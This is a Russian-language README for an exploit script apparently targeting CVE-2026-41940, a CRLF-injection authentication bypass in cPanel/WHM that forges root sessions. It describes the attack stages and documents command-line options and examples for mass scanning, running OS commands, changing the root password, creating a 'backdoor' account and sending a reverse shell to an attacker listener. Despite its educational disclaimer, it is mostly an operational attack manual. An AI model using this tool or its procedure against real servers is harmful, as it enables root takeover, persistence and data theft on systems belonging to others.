CVE-2026-41940: Обход аутентификации cPanel/WHM (одна и несколько целей)

Отказ от ответственности: Этот документ и сопутствующий скрипт (exploit.py) предоставлены строго в образовательных целях, для исследований в области безопасности и авторизованного тестирования на проникновение. Не используйте это программное обеспечение против систем, которыми вы не владеете или для тестирования которых у вас нет явного разрешения.

Обзор

exploit.py — это скрипт, демонстрирующий уязвимость обхода аутентификации (CVE-2026-41940) в cPanel и WHM. Уязвимость позволяет неаутентифицированному злоумышленнику внедрить root-сессию в кэш демона через недостаток CRLF-инъекции, что в конечном итоге предоставляет доступ к WHM уровня root без необходимости действительных учётных данных.

Анализ уязвимости и ход эксплуатации

Эксплойт работает путём использования уязвимости CRLF-инъекции (Carriage Return Line Feed) в механизме обработки базовой аутентификации в сочетании с дефектом распространения сессии. Скрипт автоматизирует атаку в четыре этапа:

1. Выпуск сессии до аутентификации: Подключается к публичным конечным точкам входа (например, /login/ или /cgi/login.cgi) для получения базовой неаутентифицированной сессионной cookie (whostmgrsession).
2. CRLF-инъекция: Отправляет специально сформированный заголовок Basic Authentication, содержащий payload в Base64-кодировке, который внедряет поля root-сессии непосредственно в кэш сессий cpsrvd. Ответ сервера с перенаправлением раскрывает сгенерированный токен безопасности (cpsess).
3. Распространение сессии: Исходная сессионная cookie отправляется на аутентифицированную конечную точку WHM, что запускает do_token_denied для распространения поддельной сессии в кэш демона — превращая её в действительную аутентифицированную сессию.
4. Проверка: Обращается к ограниченным конечным точкам API WHM (например, /json-api/version) с использованием поддельной сессии для подтверждения доступа уровня root.

---

Предварительные требования

• Python 3.x
• Библиотека requests

pip install requests

---

Использование

python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]

---

Аргументы

Выбор цели

Аргумент	Описание
--target URL	Один URL WHM (например, https://target:2087)
--target-file FILE	Файл с целями (по одному ip:port в строке) — автоматически включает режим проверки

Сетевые и основные параметры

Аргумент	Описание
--threads N	Количество одновременных потоков в многоцелевом режиме (по умолчанию: 10)
--hostname HOST	Переопределить заголовок Host — используйте, если автоматическое обнаружение не сработало или дало неверное имя хоста
--timeout N	Тайм-аут на запрос в секундах (по умолчанию: 15)
--retries N	Количество повторов при сетевых ошибках (по умолчанию: 3)
--cookie-name NAME	Принудительно задать имя сессионной cookie (автоопределяется, если не указано)
--no-verify	Пропустить проверку на этапе 4 и продолжить в любом случае

Параметры эксплуатации (после обхода)

Аргумент	Описание
--check	Режим только проверки — проверить уязвимость без эксплуатации (автоматически задаётся с --target-file)
--password PASS	Изменить root-пароль на PASS
--api FUNC	Вызвать конкретную функцию WHM JSON-API
--api-params K=V,...	Параметры через запятую для --api
--exec CMD	Выполнить команду ОС через WHM scripts/run_script (запасной вариант: rawexec)
--session	Сгенерировать root-ссылку для входа в один клик — открывайте немедленно, токен истекает быстро
--shell	Запустить интерактивную оболочку WHM (только для одной цели)
--dump	Вывести информацию о сервере: версия, учётные записи, DNS-зоны, привилегии
--add-user USER PASS DOMAIN	Создать новую учётную запись cPanel
--revshell LHOST LPORT	Отправить обратную bash-оболочку на ваш слушатель

Параметры вывода

Аргумент	Описание
--output FILE	Сохранить сессионный токен и сведения в JSON-файл

---

Примеры

# Check if target is vulnerable
python exploit.py --target https://target:2087 --check

# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump

# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session

# Execute a command
python exploit.py --target https://target:2087 --exec "id"

# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell

# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'

# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1

# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com

# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444

# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check

# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20

# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json

---

Команды интерактивной оболочки

При использовании --shell доступны следующие команды:

Команда	Описание
api <function> [k=v ...]	Вызвать функцию WHM JSON-API (например, api version)
exec <command>	Выполнить команду ОС через WHM (например, exec id)
passwd <newpass>	Изменить root-пароль
dump	Вывести информацию о сервере
revshell <lhost> <lport>	Отправить обратную оболочку
add <user> <pass> <domain>	Создать учётную запись cPanel
save <path>	Сохранить текущую сессию в файл
exit / quit	Выйти из оболочки

---

Напоминание

Немедленно установите последние исправления безопасности cPanel/WHM.